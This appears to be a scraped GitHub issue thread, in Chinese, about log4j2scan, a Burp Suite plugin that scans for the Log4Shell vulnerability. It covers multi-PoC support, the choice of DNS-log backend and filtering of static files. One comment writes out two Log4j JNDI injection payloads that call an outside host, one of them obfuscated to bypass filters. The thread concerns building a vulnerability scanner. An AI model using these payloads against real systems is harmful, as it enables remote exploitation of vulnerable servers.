Comments (9)
下个版本将会加入
from log4j2scan.
master分支支持多poc的代码已提交,可以先下载源码本地编译测试,预编译版明天发布
from log4j2scan.
建议增加: cloudflare 捕获到的攻击载荷及绕过:
${jndi:dns://aeutbj.example.com/ext}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
from log4j2scan.
master分支支持多poc的代码已提交,可以先下载源码本地编译测试,预编译版明天发布
顺便把dnslog。cn换成bp自带的呗,bp自带的更好用呀
from log4j2scan.
master分支支持多poc的代码已提交,可以先下载源码本地编译测试,预编译版明天发布
顺便把dnslog。cn换成bp自带的呗,bp自带的更好用呀
bp自带测试过了,也是延迟严重,如果不信邪代码里也有BP dnslog的兼容层,你可以下载源码改下测试。
修改方法是将Log4j2Scanner.java 里的this.dnslog = new DnslogCN();
改成this.dnslog = new BurpCollaborator();
,然后重新打包编译。
from log4j2scan.
建议增加: cloudflare 捕获到的攻击载荷及绕过:
${jndi:dns://aeutbj.example.com/ext}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
感谢,已添加至源码库,由于现在poc变种太多,为了降低网络压力,默认只启用POC1、POC2、POC3、POC4。
from log4j2scan.
master分支支持多poc的代码已提交,可以先下载源码本地编译测试,预编译版明天发布
顺便把dnslog。cn换成bp自带的呗,bp自带的更好用呀
bp自带测试过了,也是延迟严重,如果不信邪代码里也有BP dnslog的兼容层,你可以下载源码改下测试。
修改方法是将Log4j2Scanner.java 里的
this.dnslog = new DnslogCN();
改成this.dnslog = new BurpCollaborator();
,然后重新打包编译。
是有延迟,刚才在使用过程中发现插件对js和css文件也攻击,个人感觉没必要吧,就一些增删改查的位置会记录日志,再加上js文件和css文件那么多,一个站就被动扫非常久。
from log4j2scan.
master分支支持多poc的代码已提交,可以先下载源码本地编译测试,预编译版明天发布
顺便把dnslog。cn换成bp自带的呗,bp自带的更好用呀
bp自带测试过了,也是延迟严重,如果不信邪代码里也有BP dnslog的兼容层,你可以下载源码改下测试。
修改方法是将Log4j2Scanner.java 里的this.dnslog = new DnslogCN();
改成this.dnslog = new BurpCollaborator();
,然后重新打包编译。是有延迟,刚才在使用过程中发现插件对js和css文件也攻击,个人感觉没必要吧,就一些增删改查的位置会记录日志,再加上js文件和css文件那么多,一个站就被动扫非常久。
新代码已经过滤了静态文件
from log4j2scan.
v0.6
版本已加入多poc支持。
from log4j2scan.
Related Issues (20)
- 大佬看到回一下 感谢 HOT 1
- Url param fuzz missing. HOT 1
- 内网检测版本 HOT 1
- 在内网不出网或没有域名的情况下,建议采用${jndi:dns://xxx.xxx.xxx.xxx:port/dnsFlag.XXX}的方式来检测 HOT 6
- emmm,关于ceye的一点小问题 HOT 5
- 这个错误是什么 HOT 1
- 优化建议 HOT 4
- 优化建议 HOT 2
- 建议增加对 JNDIScan支持 HOT 1
- 希望可以填入指定的ip和端口
- 建议添加GoDnslog端口号的选项
- 自定义head头 HOT 2
- 遇到会ceye上出现记录了,但是burp上一直没有显示,会有很长时间的延迟,有时候长有时候短 HOT 2
- 问题 HOT 1
- 已不兼容burpsuite 2022.9.1 HOT 8
- 为什么我设置了revsuit rmi 但是探测仍然是使用的dnslog呢? HOT 3
- 问题 HOT 1
- method GET must not have a request body. HOT 1
- 自定义添加poc HOT 13
- dnslog其他格式
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from log4j2scan.